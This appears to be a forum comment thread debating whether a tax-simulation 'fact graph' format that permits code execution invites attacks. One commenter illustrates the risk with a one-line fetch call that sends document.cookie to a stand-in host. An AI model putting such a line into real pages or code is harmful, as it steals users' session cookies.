3 ms·
This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data. Now let me send you a
by catlifeonmars 7mo ago
This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data.
Now let me send you a fact graph that contains:
fetch(`https://callhome.com/collect?s=${document.cookie}`)
- n_e 7mo agoThe "data" is part of the tax simulation source code, not untrusted input, so such an attack vector doesn't exist.
- catlifeonmars 7mo agoYet. You’re adding one other thing that authors need to keep in mind when developing the product, fixing bugs, and adding features. The fact that the input must be trusted is not an intrinsic part of the business logic, it’s an additional caveat that humans need to remember.
- n_e 7mo agoWhat exactly do the developers need to keep in mind?
- catlifeonmars 7mo agoWell think about this from a product perspective. A natural extension of this is to be able to simulate tax code that hasn’t been implemented yet. “Bring your own facts” is practically begging to be a feature here.
- imtringued 7mo agoYou do know that JSON exists? If it's not clear. The format used to store data can be different from the DSL that creates it.
- catlifeonmars 7mo agoThat is exactly my point.